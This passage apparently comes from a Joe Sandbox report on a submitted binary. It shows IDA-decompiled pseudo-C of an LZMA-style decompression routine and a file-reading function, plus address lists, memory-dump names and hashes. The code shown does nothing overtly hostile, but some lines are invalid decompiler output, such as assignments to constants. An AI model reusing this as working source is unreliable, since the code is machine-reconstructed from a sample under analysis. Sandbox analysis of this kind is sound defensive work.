													 *(_t613 - 0x88) = _t533;
													goto L1;
												}
											}
											__eax =  *(__ebp - 0x50);
											 *(__ebp - 0x10) =  *(__ebp - 0x10) >> 0xb;
											__edx =  *(__ebp - 0x50) +  *(__ebp - 0x50);
											__eax =  *(__ebp - 0x58);
											__esi = __edx + __eax;
											 *(__ebp - 0x54) = __esi;
											__ax =  *__esi;
											__edi = __ax & 0x0000ffff;
											__ecx = ( *(__ebp - 0x10) >> 0xb) * __edi;
											__eflags =  *(__ebp - 0xc) - __ecx;
											if( *(__ebp - 0xc) >= __ecx) {
												 *(__ebp - 0x10) =  *(__ebp - 0x10) - __ecx;
												 *(__ebp - 0xc) =  *(__ebp - 0xc) - __ecx;
												__cx = __ax;
												__cx = __ax >> 5;
												__eax = __eax - __ecx;
												__edx = __edx + 1;
												__eflags = __edx;
												 *__esi = __ax;
												 *(__ebp - 0x50) = __edx;
											} else {
												 *(__ebp - 0x10) = __ecx;
												0x800 = 0x800 - __edi;
												0x800 - __edi >> 5 = (0x800 - __edi >> 5) + __eax;
												 *(__ebp - 0x50) =  *(__ebp - 0x50) << 1;
												 *__esi = __cx;
											}
											__eflags =  *(__ebp - 0x10) - 0x1000000;
											if( *(__ebp - 0x10) >= 0x1000000) {
												goto L148;
											} else {
												goto L146;
											}
										case 0x19:
											__eflags = __ebx - 4;
											if(__ebx < 4) {
												 *(__ebp - 0x2c) = __ebx;
												L119:
												_t393 = __ebp - 0x2c;
												 *_t393 =  *(__ebp - 0x2c) + 1;
												__eflags =  *_t393;
												L120:
												__eax =  *(__ebp - 0x2c);
												__eflags = __eax;
												if(__eax == 0) {
													 *(__ebp - 0x30) =  *(__ebp - 0x30) | 0xffffffff;
													goto L170;
												}
												__eflags = __eax -  *(__ebp - 0x60);
												if(__eax >  *(__ebp - 0x60)) {
													goto L171;
												}
												 *(__ebp - 0x30) =  *(__ebp - 0x30) + 2;
												__eax =  *(__ebp - 0x30);
												_t400 = __ebp - 0x60;
												 *_t400 =  *(__ebp - 0x60) +  *(__ebp - 0x30);
												__eflags =  *_t400;
												goto L123;
											}
											__ecx = __ebx;
											__eax = __ebx;
											__ecx = __ebx >> 1;
											__eax = __ebx & 0x00000001;
											__ecx = (__ebx >> 1) - 1;
											__al = __al | 0x00000002;
											__eax = (__ebx & 0x00000001) << __cl;
											__eflags = __ebx - 0xe;
											 *(__ebp - 0x2c) = __eax;
											if(__ebx >= 0xe) {
												__ebx = 0;
												 *(__ebp - 0x48) = __ecx;
												L102:
												__eflags =  *(__ebp - 0x48);
												if( *(__ebp - 0x48) <= 0) {
													__eax = __eax + __ebx;
													 *(__ebp - 0x40) = 4;
													 *(__ebp - 0x2c) = __eax;
													__eax =  *(__ebp - 4);
													__eax =  *(__ebp - 4) + 0x644;
													__eflags = __eax;
													L108:
													__ebx = 0;
													 *(__ebp - 0x58) = __eax;
													 *(__ebp - 0x50) = 1;
													 *(__ebp - 0x44) = 0;
													 *(__ebp - 0x48) = 0;
													L112:
													__eax =  *(__ebp - 0x40);
													__eflags =  *(__ebp - 0x48) -  *(__ebp - 0x40);
													if( *(__ebp - 0x48) >=  *(__ebp - 0x40)) {
														_t391 = __ebp - 0x2c;
														 *_t391 =  *(__ebp - 0x2c) + __ebx;
														__eflags =  *_t391;
														goto L119;
													}
													__eax =  *(__ebp - 0x50);
													 *(__ebp - 0x10) =  *(__ebp - 0x10) >> 0xb;
													__edi =  *(__ebp - 0x50) +  *(__ebp - 0x50);
													__eax =  *(__ebp - 0x58);
													__esi = __edi + __eax;
													 *(__ebp - 0x54) = __esi;
													__ax =  *__esi;
													__ecx = __ax & 0x0000ffff;
													__edx = ( *(__ebp - 0x10) >> 0xb) * __ecx;
													__eflags =  *(__ebp - 0xc) - __edx;
													if( *(__ebp - 0xc) >= __edx) {
														__ecx = 0;
														 *(__ebp - 0x10) =  *(__ebp - 0x10) - __edx;
														__ecx = 1;
														 *(__ebp - 0xc) =  *(__ebp - 0xc) - __edx;
														__ebx = 1;
														__ecx =  *(__ebp - 0x48);
														__ebx = 1 << __cl;
														__ecx = 1 << __cl;
														__ebx =  *(__ebp - 0x44);
														__ebx =  *(__ebp - 0x44) | __ecx;
														__cx = __ax;
														__cx = __ax >> 5;
														__eax = __eax - __ecx;
														__edi = __edi + 1;
														__eflags = __edi;
														 *(__ebp - 0x44) = __ebx;
														 *__esi = __ax;
														 *(__ebp - 0x50) = __edi;
													} else {
														 *(__ebp - 0x10) = __edx;
														0x800 = 0x800 - __ecx;
														0x800 - __ecx >> 5 = (0x800 - __ecx >> 5) + __eax;
														 *(__ebp - 0x50) =  *(__ebp - 0x50) << 1;
														 *__esi = __dx;
													}
													__eflags =  *(__ebp - 0x10) - 0x1000000;
													if( *(__ebp - 0x10) >= 0x1000000) {
														L111:
														_t368 = __ebp - 0x48;
														 *_t368 =  *(__ebp - 0x48) + 1;
														__eflags =  *_t368;
														goto L112;
													} else {
														goto L109;
													}
												}
												__ecx =  *(__ebp - 0xc);
												__ebx = __ebx + __ebx;
												 *(__ebp - 0x10) =  *(__ebp - 0x10) >> 1;
												__eflags =  *(__ebp - 0xc) -  *(__ebp - 0x10);
												 *(__ebp - 0x44) = __ebx;
												if( *(__ebp - 0xc) >=  *(__ebp - 0x10)) {
													__ecx =  *(__ebp - 0x10);
													 *(__ebp - 0xc) =  *(__ebp - 0xc) -  *(__ebp - 0x10);
													__ebx = __ebx | 0x00000001;
													__eflags = __ebx;
													 *(__ebp - 0x44) = __ebx;
												}
												__eflags =  *(__ebp - 0x10) - 0x1000000;
												if( *(__ebp - 0x10) >= 0x1000000) {
													L101:
													_t338 = __ebp - 0x48;
													 *_t338 =  *(__ebp - 0x48) - 1;
													__eflags =  *_t338;
													goto L102;
												} else {
													goto L99;
												}
											}
											__edx =  *(__ebp - 4);
											__eax = __eax - __ebx;
											 *(__ebp - 0x40) = __ecx;
											__eax =  *(__ebp - 4) + 0x55e + __eax * 2;
											goto L108;
										case 0x1a:
											L56:
											__eflags =  *(__ebp - 0x64);
											if( *(__ebp - 0x64) == 0) {
												 *(__ebp - 0x88) = 0x1a;
												goto L170;
											}
											__ecx =  *(__ebp - 0x68);
											__al =  *(__ebp - 0x5c);
											__edx =  *(__ebp - 8);
											 *(__ebp - 0x60) =  *(__ebp - 0x60) + 1;
											 *(__ebp - 0x68) =  *(__ebp - 0x68) + 1;
											 *(__ebp - 0x64) =  *(__ebp - 0x64) - 1;
											 *( *(__ebp - 0x68)) = __al;
											__ecx =  *(__ebp - 0x14);
											 *(__ecx +  *(__ebp - 8)) = __al;
											__eax = __ecx + 1;
											__edx = 0;
											_t192 = __eax %  *(__ebp - 0x74);
											__eax = __eax /  *(__ebp - 0x74);
											__edx = _t192;
											goto L79;
										case 0x1b:
											L75:
											__eflags =  *(__ebp - 0x64);
											if( *(__ebp - 0x64) == 0) {
												 *(__ebp - 0x88) = 0x1b;
												goto L170;
											}
											__eax =  *(__ebp - 0x14);
											__eax =  *(__ebp - 0x14) -  *(__ebp - 0x2c);
											__eflags = __eax -  *(__ebp - 0x74);
											if(__eax >=  *(__ebp - 0x74)) {
												__eax = __eax +  *(__ebp - 0x74);
												__eflags = __eax;
											}
											__edx =  *(__ebp - 8);
											__cl =  *(__eax + __edx);
											__eax =  *(__ebp - 0x14);
											 *(__ebp - 0x5c) = __cl;
											 *(__eax + __edx) = __cl;
											__eax = __eax + 1;
											__edx = 0;
											_t274 = __eax %  *(__ebp - 0x74);
											__eax = __eax /  *(__ebp - 0x74);
											__edx = _t274;
											__eax =  *(__ebp - 0x68);
											 *(__ebp - 0x60) =  *(__ebp - 0x60) + 1;
											 *(__ebp - 0x68) =  *(__ebp - 0x68) + 1;
											_t283 = __ebp - 0x64;
											 *_t283 =  *(__ebp - 0x64) - 1;
											__eflags =  *_t283;
											 *( *(__ebp - 0x68)) = __cl;
											L79:
											 *(__ebp - 0x14) = __edx;
											goto L80;
										case 0x1c:
											while(1) {
												L123:
												__eflags =  *(__ebp - 0x64);
												if( *(__ebp - 0x64) == 0) {
													break;
												}
												__eax =  *(__ebp - 0x14);
												__eax =  *(__ebp - 0x14) -  *(__ebp - 0x2c);
												__eflags = __eax -  *(__ebp - 0x74);
												if(__eax >=  *(__ebp - 0x74)) {
													__eax = __eax +  *(__ebp - 0x74);
													__eflags = __eax;
												}
												__edx =  *(__ebp - 8);
												__cl =  *(__eax + __edx);
												__eax =  *(__ebp - 0x14);
												 *(__ebp - 0x5c) = __cl;
												 *(__eax + __edx) = __cl;
												__eax = __eax + 1;
												__edx = 0;
												_t414 = __eax %  *(__ebp - 0x74);
												__eax = __eax /  *(__ebp - 0x74);
												__edx = _t414;
												__eax =  *(__ebp - 0x68);
												 *(__ebp - 0x68) =  *(__ebp - 0x68) + 1;
												 *(__ebp - 0x64) =  *(__ebp - 0x64) - 1;
												 *(__ebp - 0x30) =  *(__ebp - 0x30) - 1;
												__eflags =  *(__ebp - 0x30);
												 *( *(__ebp - 0x68)) = __cl;
												 *(__ebp - 0x14) = _t414;
												if( *(__ebp - 0x30) > 0) {
													continue;
												} else {
													L80:
													 *(__ebp - 0x88) = 2;
													goto L1;
												}
											}
											 *(__ebp - 0x88) = 0x1c;
											goto L170;
									}
								}
								L171:
								_t535 = _t534 | 0xffffffff;
								goto L172;
							}
						}
					}
				}
			}

0x00000000
0x00406c2e
0x00406c2e
0x00406c32
0x00406c5b
0x00406c65
0x00406c34
0x00406c3d
0x00406c4a
0x00406c4d
0x00406f91
0x00406f91
0x00406f94
0x00406f94
0x00406f94
0x00406f9a
0x00406fa0
0x00406fa6
0x00406fc0
0x00406fc3
0x00406fc9
0x00406fd4
0x00406fd6
0x00406fa8
0x00406fa8
0x00406fb7
0x00406fbb
0x00406fbb
0x00406fe0
0x00000000
0x00000000
0x00406fe2
0x00406fe6
0x00407195
0x004071ab
0x004071b3
0x004071ba
0x004071bc
0x004071c3
0x004071c7
0x004071c7
0x00406ff2
0x00406ff9
0x00407001
0x00407004
0x00407007
0x00407007
0x0040700d
0x0040700d
0x004067a9
0x004067a9
0x004067a9
0x004067b2
0x00000000
0x00000000
0x004067b8
0x00000000
0x004067c3
0x00000000
0x00000000
0x004067cc
0x004067cf
0x004067d2
0x004067d6
0x00000000
0x00000000
0x004067dc
0x004067df
0x004067e1
0x004067e2
0x004067e5
0x004067e7
0x004067e8
0x004067ea
0x004067ed
0x004067f2
0x004067f7
0x00406800
0x00406813
0x00406816
0x00406822
0x0040684a
0x0040684c
0x0040685a
0x0040685a
0x0040685e
0x00000000
0x00000000
0x00000000
0x00000000
0x0040684e
0x0040684e
0x00406851
0x00406852
0x00406852
0x00000000
0x0040684e
0x00406828
0x0040682d
0x0040682d
0x00406836
0x0040683e
0x00406841
0x00000000
0x00406847
0x00406847
0x00000000
0x00406847
0x00000000
0x00406864
0x00406864
0x00406868
0x00407114
0x00000000
0x00407114
0x00406871
0x00406881
0x00406884
0x00406887
0x00406887
0x00406887
0x0040688a
0x0040688e
0x00000000
0x00000000
0x00406890
0x00406896
0x004068c0
0x004068c6
0x004068cd
0x00000000
0x004068cd
0x0040689c
0x0040689f
0x004068a4
0x004068a4
0x004068af
0x004068b7
0x004068ba
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x004068ff
0x00406905
0x00406908
0x00406915
0x0040691d
0x00406f91
0x00000000
0x00000000
0x004068d4
0x004068d4
0x004068d8
0x00407123
0x00000000
0x00407123
0x004068e4
0x004068ef
0x004068ef
0x004068ef
0x004068f2
0x004068f5
0x004068f8
0x004068fd
0x00000000
0x00000000
0x00000000
0x00000000
0x00406f94
0x00406f94
0x00406f9a
0x00406fa0
0x00406fa6
0x00406fc0
0x00406fc3
0x00406fc9
0x00406fd4
0x00406fd6
0x00406fa8
0x00406fa8
0x00406fb7
0x00406fbb
0x00406fbb
0x00406fe0
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00406925
0x00406927
0x0040692a
0x0040699b
0x0040699e
0x004069a1
0x004069a8
0x004069b2
0x00406f91
0x00406f91
0x00000000
0x00406f91
0x00406f91
0x0040692c
0x00406930
0x00406933
0x00406935
0x00406938
0x0040693b
0x0040693d
0x00406940
0x00406942
0x00406947
0x0040694a
0x0040694d
0x00406951
0x00406958
0x0040695b
0x00406962
0x00406966
0x0040696e
0x0040696e
0x0040696e
0x00406968
0x00406968
0x00406968
0x0040695d
0x0040695d
0x0040695d
0x00406972
0x00406975
0x00406993
0x00406995
0x00000000
0x00406977
0x00406977
0x0040697a
0x0040697d
0x00406980
0x00406982
0x00406982
0x00406982
0x00406985
0x00406988
0x0040698a
0x0040698b
0x0040698e
0x00000000
0x0040698e
0x00000000
0x00406bc4
0x00406bc8
0x00406be6
0x00406be9
0x00406bf0
0x00406bf3
0x00406bf6
0x00406bf9
0x00406bfc
0x00406bff
0x00406c01
0x00406c08
0x00406c09
0x00406c0b
0x00406c0e
0x00406c11
0x00406c14
0x00406c14
0x00406c19
0x00000000
0x00406c19
0x00406bca
0x00406bcd
0x00406bd0
0x00406bda
0x00406f91
0x00406f91
0x00000000
0x00406f91
0x00000000
0x00000000
0x00000000
0x00406c71
0x00406c75
0x00000000
0x00000000
0x00406c7b
0x00406c7f
0x00000000
0x00000000
0x00406c85
0x00406c87
0x00406c8b
0x00406c8b
0x00406c8e
0x00406c92
0x00000000
0x00000000
0x00406ce2
0x00406ce6
0x00406ced
0x00406cf0
0x00406cf3
0x00406cfd
0x00406f91
0x00406f91
0x00000000
0x00406f91
0x00406f91
0x00406ce8
0x00000000
0x00000000
0x00406d09
0x00406d0d
0x00406d14
0x00406d17
0x00406d1a
0x00406d0f
0x00406d0f
0x00406d0f
0x00406d1d
0x00406d20
0x00406d23
0x00406d23
0x00406d26
0x00406d29
0x00406d2c
0x00406d2c
0x00406d2f
0x00406d36
0x00406d3b
0x00000000
0x00000000
0x00406dc9
0x00406dc9
0x00406dcd
0x0040716b
0x00000000
0x0040716b
0x00406dd3
0x00406dd6
0x00406dd9
0x00406ddd
0x00406de0
0x00406de6
0x00406de8
0x00406de8
0x00406de8
0x00406deb
0x00406dee
0x00000000
0x00000000
0x004069be
0x004069be
0x004069c2
0x0040712f
0x00000000
0x0040712f
0x004069c8
0x004069cb
0x004069ce
0x004069d2
0x004069d5
0x004069db
0x004069dd
0x004069dd
0x004069dd
0x004069e0
0x004069e3
0x004069e3
0x004069e6
0x004069e9
0x00000000
0x00000000
0x004069ef
0x004069f5
0x00000000
0x00000000
0x004069fb
0x004069fb
0x004069ff
0x00406a02
0x00406a05
0x00406a08
0x00406a0b
0x00406a0c
0x00406a0f
0x00406a11
0x00406a17
0x00406a1a
0x00406a1d
0x00406a20
0x00406a23
0x00406a26
0x00406a29
0x00406a45
0x00406a48
0x00406a4b
0x00406a4e
0x00406a55
0x00406a59
0x00406a5b
0x00406a5f
0x00406a2b
0x00406a2b
0x00406a2f
0x00406a37
0x00406a3c
0x00406a3e
0x00406a40
0x00406a40
0x00406a62
0x00406a69
0x00406a6c
0x00000000
0x00406a72
0x00000000
0x00406a72
0x00000000
0x00406a77
0x00406a77
0x00406a7b
0x0040713b
0x00000000
0x0040713b
0x00406a81
0x00406a84
0x00406a87
0x00406a8b
0x00406a8e
0x00406a94
0x00406a96
0x00406a96
0x00406a96
0x00406a99
0x00406a9c
0x00406a9c
0x00406a9c
0x00406aa2
0x00000000
0x00000000
0x00406aa4
0x00406aa7
0x00406aaa
0x00406aad
0x00406ab0
0x00406ab3
0x00406ab6
0x00406ab9
0x00406abc
0x00406abf
0x00406ac2
0x00406ada
0x00406add
0x00406ae0
0x00406ae3
0x00406ae3
0x00406ae6
0x00406aea
0x00406aec
0x00406ac4
0x00406ac4
0x00406acc
0x00406ad1
0x00406ad3
0x00406ad5
0x00406ad5
0x00406aef
0x00406af6
0x00406af9
0x00000000
0x00406afb
0x00000000
0x00406afb
0x00406af9
0x00406b00
0x00406b00
0x00406b00
0x00406b00
0x00000000
0x00000000
0x00406b3b
0x00406b3b
0x00406b3f
0x00407147
0x00000000
0x00407147
0x00406b45
0x00406b48
0x00406b4b
0x00406b4f
0x00406b52
0x00406b58
0x00406b5a
0x00406b5a
0x00406b5a
0x00406b5d
0x00406b60
0x00406b60
0x00406b66
0x00406b04
0x00406b04
0x00406b07
0x00000000
0x00406b07
0x00406b68
0x00406b68
0x00406b6b
0x00406b6e
0x00406b71
0x00406b74
0x00406b77
0x00406b7a
0x00406b7d
0x00406b80
0x00406b83
0x00406b86
0x00406b9e
0x00406ba1
0x00406ba4
0x00406ba7
0x00406ba7
0x00406baa
0x00406bae
0x00406bb0
0x00406b88
0x00406b88
0x00406b90
0x00406b95
0x00406b97
0x00406b99
0x00406b99
0x00406bb3
0x00406bba
0x00406bbd
0x00000000
0x00406bbf
0x00000000
0x00406bbf
0x00000000
0x00406e4c
0x00406e4c
0x00406e50
0x00407177
0x00000000
0x00407177
0x00406e56
0x00406e59
0x00406e5c
0x00406e60
0x00406e63
0x00406e69
0x00406e6b
0x00406e6b
0x00406e6b
0x00406e6e
0x00000000
0x00000000
0x00406c1c
0x00406c1c
0x00406c1f
0x00406f91
0x00406f91
0x00000000
0x00406f91
0x00000000
0x00406f5b
0x00406f5f
0x00406f81
0x00406f84
0x00406f8e
0x00406f91
0x00406f91
0x00000000
0x00406f91
0x00406f91
0x00406f61
0x00406f64
0x00406f68
0x00406f6b
0x00406f6b
0x00406f6e
0x00000000
0x00000000
0x00407018
0x0040701c
0x0040703a
0x0040703a
0x0040703a
0x00407041
0x00407048
0x0040704f
0x0040704f
0x00000000
0x0040704f
0x0040701e
0x00407021
0x00407024
0x00407027
0x0040702e
0x00406f72
0x00406f72
0x00406f75
0x00000000
0x00000000
0x00407109
0x0040710c
0x0040700d
0x00000000
0x00000000
0x00406d43
0x00406d45
0x00406d4c
0x00406d4d
0x00406d4f
0x00406d52
0x00000000
0x00000000
0x00406d5a
0x00406d5d
0x00406d60
0x00406d62
0x00406d64
0x00406d64
0x00406d65
0x00406d68
0x00406d6f
0x00406d72
0x00406d80
0x00000000
0x00000000
0x00407056
0x00407056
0x00407059
0x00407060
0x00000000
0x00000000
0x00407065
0x00407065
0x00407069
0x004071a1
0x00000000
0x004071a1
0x0040706f
0x00407072
0x00407075
0x00407079
0x0040707c
0x00407082
0x00407084
0x00407084
0x00407084
0x00407087
0x0040708a
0x0040708a
0x0040708a
0x0040708a
0x0040708d
0x0040708d
0x00407091
0x004070f1
0x004070f4
0x004070f9
0x004070fa
0x004070fc
0x004070fe
0x00407101
0x0040700d
0x0040700d
0x00000000
0x00407013
0x0040700d
0x00407093
0x00407099
0x0040709c
0x0040709f
0x004070a2
0x004070a5
0x004070a8
0x004070ab
0x004070ae
0x004070b1
0x004070b4
0x004070cd
0x004070d0
0x004070d3
0x004070d6
0x004070da
0x004070dc
0x004070dc
0x004070dd
0x004070e0
0x004070b6
0x004070b6
0x004070be
0x004070c3
0x004070c5
0x004070c8
0x004070c8
0x004070e3
0x004070ea
0x00000000
0x004070ec
0x00000000
0x004070ec
0x00000000
0x00406d88
0x00406d8b
0x00406dc1
0x00406ef1
0x00406ef1
0x00406ef1
0x00406ef1
0x00406ef4
0x00406ef4
0x00406ef7
0x00406ef9
0x00407183
0x00000000
0x00407183
0x00406eff
0x00406f02
0x00000000
0x00000000
0x00406f08
0x00406f0c
0x00406f0f
0x00406f0f
0x00406f0f
0x00000000
0x00406f0f
0x00406d8d
0x00406d8f
0x00406d91
0x00406d93
0x00406d96
0x00406d97
0x00406d99
0x00406d9b
0x00406d9e
0x00406da1
0x00406db7
0x00406dbc
0x00406df4
0x00406df4
0x00406df8
0x00406e24
0x00406e26
0x00406e2d
0x00406e30
0x00406e33
0x00406e33
0x00406e38
0x00406e38
0x00406e3a
0x00406e3d
0x00406e44
0x00406e47
0x00406e74
0x00406e74
0x00406e77
0x00406e7a
0x00406eee
0x00406eee
0x00406eee
0x00000000
0x00406eee
0x00406e7c
0x00406e82
0x00406e85
0x00406e88
0x00406e8b
0x00406e8e
0x00406e91
0x00406e94
0x00406e97
0x00406e9a
0x00406e9d
0x00406eb6
0x00406eb8
0x00406ebb
0x00406ebc
0x00406ebf
0x00406ec1
0x00406ec4
0x00406ec6
0x00406ec8
0x00406ecb
0x00406ecd
0x00406ed0
0x00406ed4
0x00406ed6
0x00406ed6
0x00406ed7
0x00406eda
0x00406edd
0x00406e9f
0x00406e9f
0x00406ea7
0x00406eac
0x00406eae
0x00406eb1
0x00406eb1
0x00406ee0
0x00406ee7
0x00406e71
0x00406e71
0x00406e71
0x00406e71
0x00000000
0x00406ee9
0x00000000
0x00406ee9
0x00406ee7
0x00406dfa
0x00406dfd
0x00406dff
0x00406e02
0x00406e05
0x00406e08
0x00406e0a
0x00406e0d
0x00406e10
0x00406e10
0x00406e13
0x00406e13
0x00406e16
0x00406e1d
0x00406df1
0x00406df1
0x00406df1
0x00406df1
0x00000000
0x00406e1f
0x00000000
0x00406e1f
0x00406e1d
0x00406da3
0x00406da6
0x00406da8
0x00406dab
0x00000000
0x00000000
0x00406b0a
0x00406b0a
0x00406b0e
0x00407153
0x00000000
0x00407153
0x00406b14
0x00406b17
0x00406b1a
0x00406b1d
0x00406b20
0x00406b23
0x00406b26
0x00406b28
0x00406b2b
0x00406b2e
0x00406b31
0x00406b33
0x00406b33
0x00406b33
0x00000000
0x00000000
0x00406c95
0x00406c95
0x00406c99
0x0040715f
0x00000000
0x0040715f
0x00406c9f
0x00406ca2
0x00406ca5
0x00406ca8
0x00406caa
0x00406caa
0x00406caa
0x00406cad
0x00406cb0
0x00406cb3
0x00406cb6
0x00406cb9
0x00406cbc
0x00406cbd
0x00406cbf
0x00406cbf
0x00406cbf
0x00406cc2
0x00406cc5
0x00406cc8
0x00406ccb
0x00406ccb
0x00406ccb
0x00406cce
0x00406cd0
0x00406cd0
0x00000000
0x00000000
0x00406f12
0x00406f12
0x00406f12
0x00406f16
0x00000000
0x00000000
0x00406f1c
0x00406f1f
0x00406f22
0x00406f25
0x00406f27
0x00406f27
0x00406f27
0x00406f2a
0x00406f2d
0x00406f30
0x00406f33
0x00406f36
0x00406f39
0x00406f3a
0x00406f3c
0x00406f3c
0x00406f3c
0x00406f3f
0x00406f42
0x00406f45
0x00406f48
0x00406f4b
0x00406f4f
0x00406f51
0x00406f54
0x00000000
0x00406f56
0x00406cd3
0x00406cd3
0x00000000
0x00406cd3
0x00406f54
0x00407189
0x00000000
0x00000000
0x004067b8
0x004071c0
0x004071c0
0x00000000
0x004071c0
0x0040700d
0x00406f94
0x00406f91

Memory Dump Source

Source File: 00000000.00000002.3277540593.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.3277507921.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3277597774.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3277628377.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3277628377.0000000000422000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3277628377.0000000000426000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3277628377.000000000042A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3277628377.0000000000433000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3277933732.0000000000435000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_sOjxIU25DP.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e1b0e058f0407479a5b4db29d08bd0827f70999cda66fb763b614c0a8a1c0f1e
Instruction ID: 903876060ddd0b56a19be001448e640a61514b7b9d13fdc5f9f4a1faaeb2382a
Opcode Fuzzy Hash: e1b0e058f0407479a5b4db29d08bd0827f70999cda66fb763b614c0a8a1c0f1e
Instruction Fuzzy Hash: AA714431D04229CBDF28CF98C844BADBBB1FF44305F15806AD856BB281C778AA96DF45

Uniqueness

Uniqueness Score: -1.00%

Function 0040329A Relevance: 4.6, APIs: 3, Instructions: 101
COMMON

Download Yara Rule

C-Code - Quality: 94%

			E0040329A(intOrPtr _a4) {
				intOrPtr _t10;
				intOrPtr _t11;
				signed int _t12;
				void* _t14;
				void* _t15;
				long _t16;
				void* _t18;
				intOrPtr _t19;
				intOrPtr _t31;
				long _t32;
				intOrPtr _t34;
				intOrPtr _t36;
				void* _t37;
				intOrPtr _t49;

				_t32 =  *0x41f8fc; // 0x4568d
				_t34 = _t32 -  *0x40b868 + _a4;
				 *0x424750 = GetTickCount() + 0x1f4;
				if(_t34 <= 0) {
					L22:
					E00402E52(1);
					return 0;
				}
				E00403419( *0x41f90c);
				SetFilePointer( *0x40a01c,  *0x40b868, 0, 0); // executed
				 *0x41f908 = _t34;
				 *0x41f8f8 = 0;
				while(1) {
					_t10 =  *0x41f900; // 0x6402c
					_t31 = 0x4000;
					_t11 = _t10 -  *0x41f90c;
					if(_t11 <= 0x4000) {
						_t31 = _t11;
					}
					_t12 = E00403403(0x4138f8, _t31);
					if(_t12 == 0) {
						break;
					}
					 *0x41f90c =  *0x41f90c + _t31;
					 *0x40b888 = 0x4138f8;
					 *0x40b88c = _t31;
					L6:
					L6:
					if( *0x424754 != 0 &&  *0x424800 == 0) {
						_t19 =  *0x41f908; // 0xbd0
						 *0x41f8f8 = _t19 -  *0x41f8fc - _a4 +  *0x40b868;
						E00402E52(0);
					}
					 *0x40b890 = 0x40b8f8;
					 *0x40b894 = 0x8000; // executed
					_t14 = E00406776(0x40b870); // executed
					if(_t14 < 0) {
						goto L20;
					}
					_t36 =  *0x40b890; // 0x40c4c8
					_t37 = _t36 - 0x40b8f8;
					if(_t37 == 0) {
						__eflags =  *0x40b88c; // 0x0
						if(__eflags != 0) {
							goto L20;
						}
						__eflags = _t31;
						if(_t31 == 0) {
							goto L20;
						}
						L16:
						_t16 =  *0x41f8fc; // 0x4568d
						if(_t16 -  *0x40b868 + _a4 > 0) {
							continue;
						}
						SetFilePointer( *0x40a01c, _t16, 0, 0); // executed
						goto L22;
					}
					_t18 = E00405E68( *0x40a01c, 0x40b8f8, _t37); // executed
					if(_t18 == 0) {
						_push(0xfffffffe);
						L21:
						_pop(_t15);
						return _t15;
					}
					 *0x40b868 =  *0x40b868 + _t37;
					_t49 =  *0x40b88c; // 0x0
					if(_t49 != 0) {
						goto L6;
					}
					goto L16;
					L20:
					_push(0xfffffffd);
					goto L21;
				}
				return _t12 | 0xffffffff;
			}

0x0040329d
0x004032aa
0x004032bd
0x004032c2
0x004033f2
0x004033f4
0x00000000
0x004033fa
0x004032ce
0x004032e1
0x004032e7
0x004032ed
0x004032f8
0x004032f8
0x004032fd
0x00403302
0x0040330a
0x0040330c
0x0040330c
0x00403315
0x0040331c
0x00000000
0x00000000
0x00403322
0x00403328
0x0040332e
0x00000000
0x00403334
0x0040333a
0x00403344
0x0040335a
0x0040335f
0x00403364
0x0040336a
0x00403370
0x0040337a
0x00403381
0x00000000
0x00000000
0x00403383
0x00403389
0x0040338b
0x004033ae
0x004033b4
0x00000000
0x00000000
0x004033b6
0x004033b8
0x00000000
0x00000000
0x004033ba
0x004033ba
0x004033cd
0x00000000
0x00000000
0x004033dc
0x00000000
0x004033dc
0x00403395
0x0040339c
0x004033e9
0x004033ef
0x004033ef
0x00000000
0x004033ef
0x0040339e
0x004033a4
0x004033aa
0x00000000
0x00000000
0x00000000
0x004033ed
0x004033ed
0x00000000
0x004033ed
0x00000000

APIs

GetTickCount.KERNEL32 ref: 004032AE

Part of subcall function 00403419: SetFilePointer.KERNELBASE(00000000,00000000,00000000,00403117,?), ref: 00403427

SetFilePointer.KERNELBASE(00000000,00000000,?,00000000,004031C4,00000004,00000000,00000000,?,?,0040313E,000000FF,00000000,00000000,0040A130,?), ref: 004032E1
SetFilePointer.KERNELBASE(0004568D,00000000,00000000,004138F8,00004000,?,00000000,004031C4,00000004,00000000,00000000,?,?,0040313E,000000FF,00000000), ref: 004033DC

Memory Dump Source

Source File: 00000000.00000002.3277540593.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.3277507921.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3277597774.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3277628377.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3277628377.0000000000422000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3277628377.0000000000426000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3277628377.000000000042A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3277628377.0000000000433000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3277933732.0000000000435000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_sOjxIU25DP.jbxd

Similarity

API ID: FilePointer$CountTick
String ID:
API String ID: 1092082344-0
Opcode ID: 10914339fb078c172392a439e9ed0b3db4c7f76b37a754b5eca90989c3c04b63
Instruction ID: 9f56c4e15643f9c800c1675ca7a95df02ba07fd451ae32c2dc2afdd0933238d4
Opcode Fuzzy Hash: 10914339fb078c172392a439e9ed0b3db4c7f76b37a754b5eca90989c3c04b63
Instruction Fuzzy Hash: E6317A72500216DFD710BF2AEE8496A3BACE740356324C13BE914B22F0CB3899469B9D

Uniqueness

Uniqueness Score: -1.00%

